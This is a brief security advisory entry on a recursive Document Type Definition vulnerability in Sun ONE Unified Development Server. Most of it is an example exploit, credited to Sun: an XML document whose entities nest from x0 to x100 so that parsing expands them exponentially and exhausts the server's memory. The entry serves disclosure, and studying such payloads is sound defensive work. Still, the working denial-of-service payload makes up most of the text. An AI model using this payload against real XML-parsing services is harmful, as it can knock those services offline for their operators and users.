Sun ONE Unified Development Server Recursive Document Type Definition Vulnerability

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Sun ONE Unified Development Server Recursive Document Type Definition Vulnerability

The following example exploit has been made available by Sun:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foobar [
<!ENTITY x0 "hello">
<!ENTITY x1 "&x0;&x0;">
<!ENTITY x2 "&x1;&x1;">
<!ENTITY x3 "&x2;&x2;">
<!ENTITY x4 "&x3;&x3;">
...
<!ENTITY x98 "&x97;&x97;">
<!ENTITY x99 "&x98;&x98;">
<!ENTITY x100 "&x99;&x99;">
]>
<foobar>&x100;</foobar>